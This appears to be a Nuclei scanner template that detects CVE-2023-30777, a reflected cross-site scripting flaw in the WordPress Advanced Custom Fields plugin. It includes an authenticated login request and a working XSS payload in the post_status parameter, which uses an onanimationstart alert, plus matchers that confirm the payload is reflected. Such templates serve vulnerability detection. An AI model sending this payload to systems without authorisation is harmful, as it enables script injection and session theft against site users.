id: CVE-2023-30777

info:
  name: Advanced Custom Fields < 6.1.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Advanced Custom Fields beofre 6.1.6 is susceptible to cross-site scripting via the post_status parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://wpscan.com/vulnerability/95ded80f-a47b-411e-bd17-050439bf565f
    - https://wordpress.org/plugins/advanced-custom-fields/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30777
    - https://patchstack.com/database/vulnerability/advanced-custom-fields-pro/wordpress-advanced-custom-fields-pro-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://patchstack.com/database/vulnerability/advanced-custom-fields/wordpress-advanced-custom-fields-plugin-6-1-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
  remediation: Fixed in version 6.1.6.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-30777
    cwe-id: CWE-79
    epss-score: 0.00343
    cpe: cpe:2.3:a:advancedcustomfields:advanced_custom_fields:*:*:*:*:-:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    framework: wordpress
    vendor: advancedcustomfields
    product: advanced_custom_fields
  tags: wpscan,cve,cve2023,advance-custom-field,wp,wp-plugin,wordpress,authenticated,xss

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=acf-post-type&post_status=%22style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29%2F%2F HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onanimationstart=alert(document.domain)//")'
          - 'contains(body_2, "Advanced Custom Fields")'
        condition: and